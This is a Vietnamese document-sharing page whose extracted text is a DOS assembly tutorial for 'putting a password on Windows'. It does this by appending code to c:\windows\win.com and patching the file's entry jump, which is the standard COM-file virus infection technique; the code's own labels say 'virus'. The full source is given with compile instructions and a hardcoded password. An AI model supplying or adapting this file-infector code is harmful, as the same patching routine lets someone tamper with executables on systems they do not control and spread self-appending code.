Danh mục

Viết Password cho Windows

Số trang: 4      Loại file: pdf      Dung lượng: 88.85 KB      Lượt xem: 14      Lượt tải: 0    
tailieu_vip

Hỗ trợ phí lưu trữ khi tải xuống: miễn phí Tải xuống file đầy đủ (4 trang) 0
Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

Viết Password cho Windows : ;Chương trình cài đặt password cho Windows bằng cách viết thêm code vào win.com. ;Version này còn đơn giản vì ta chỉ cài pass 1 cách cố định, nếu muốn đổi pass ta phải ;dịch lại. Bạn có thể viết thêm phần đổi pass.... ;Bắt đầu .model tiny .code org 100h open_file: mov ax, 3D02h ; AL=2 doc/ghi lea dx,filename int 21h mov handle,ax clear_attrib: mov ax, 4301h xor cx, cx ; xoa het moi thuoc tinh lea dx,filename int 21h save_3_bytes: mov ax, 4200h ; 00=dua con tro mov bx,handle ; ve dau file...
Nội dung trích xuất từ tài liệu:
Viết Password cho WindowsViết Password cho Windows :;Chương trình cài đặt password cho Windows bằng cách viết thêm code vàowin.com.;Version này còn đ ơn giản vì ta chỉ cài pass 1 cách cố định, nếu muốn đ ổi passta phải;dịch lại. Bạn có thể viết thêm phần đổi pass....;Bắt đầu.model tiny.codeorg 100hopen_file:mov ax, 3D02h ; AL=2 doc/ghilea dx,filenameint 21hmov handle,axclear_attrib:mov ax, 4301hxor cx, cx ; xoa het moi thuoc tinhlea dx,filenameint 21hsave_3_bytes:mov ax, 4200h ; 00=dua con tromov bx,handle ; ve dau filexor cx, cxxor dx, dxint 21hmov ah, 3Fh ;Doc 3 bytemov cx, 3lea dx, _3_bytesint 21hgoto_eof:mov ax, 4202h ; 02=Cuoi filemov bx,handlexor cx, cx ; Do doi la 0xor dx, dxint 21h ; ax = dung luong filesave_jmp_displacement:sub ax, 3mov [jmp_disp], axwrite_code:mov ah, 40hmov cx, virus_lengthlea dx,myworkint 21hgoto_bof:mov ax, 4200hxor cx, cxxor dx, dxint 21hwrite_jmp: ; Viet lenh nhaymov ah, 40hmov cx, 3 ; Den Viruslea dx, jmp_codeint 21hclose_file:mov ah, 3ehint 21hjmp exitmywork: call nextnext:pop bpsub bp,offset nextnext1:mov ax,0600h ;Xoa ca man hinhxor cx,cx ;Goc trai (0,0)mov dx,184fh ;Goc phai (18h,4fh)mov bh,1 ;Nen den chu xanhint 10hmov ax,0600hmov cx,0c32hmov dx,0c37hmov bh,68int 10hmov ah,02h ;Ham dat vi tri con troxor bh,bh ;trang 0mov dx,0c20h ;(0ch,20h)int 10hmov ah,9 ;Hien thi chuoilea dx,[bp+mes]int 21hmov ah,0ah ;Nhap chuoilea dx,[bp+buf]int 21hlea di,[bp+check] ;Chep chuoi buf vao checklea si,[bp+buf]add si,2 ;Vi tri that su cua chuoicldmov cx,4rep movsblea di,[bp+check] ;So sanh 2 chuoilea si,[bp+pass]cmpsbcmpsbcmpsbcmpsbjne b1restore_3_bytes: ; in memorylea si,[bp+ _3_bytes]mov di, 100hcld ; auto-inc si, dimov cx, 3rep movsbmov di, 100h ; tra dieu khien ve chuong trinhjmp dib1:mov bx,bplea dx,next1add bx,dxjmp bxmes db Nhap vao mat khau:$check db 4 dup (0),$buf db 5,5 dup (0)_3_bytes db 0, 0, 0pass db khamvirend:virus_length equ offset virend - offset myworkexit:mov ax, 4c00hint 21h;-------- Variable Declarations --------filename db c:windowswin.com,0jmp_code db 0E9hjmp_disp dw 0handle dw 0end open_file;Kết thúc;Nếu không muốn cài pass nữa chỉ cần chép đè file win.com khác lên.;Nên trước khi chạy chương trình bạn nên lưu lại file win.com để sau này còndùng.;Cuối cùng, tuy cách vô hiệu hoá chương trình này thật đơn giản, nhưng tôikhông nói;bạn không nói thì....có trời mới biết !!!;#Ghi chú (dành cho những bạn chưa từng biết Assembly);Mở một chương trình soạn thảo văn bản (như notepad), copy phần giữa Bắtđầu và Kết thúc;save lại với format *.asm, dùng tasm hay masm để dịch ra file .com ---->chạyfile đó.

Tài liệu được xem nhiều: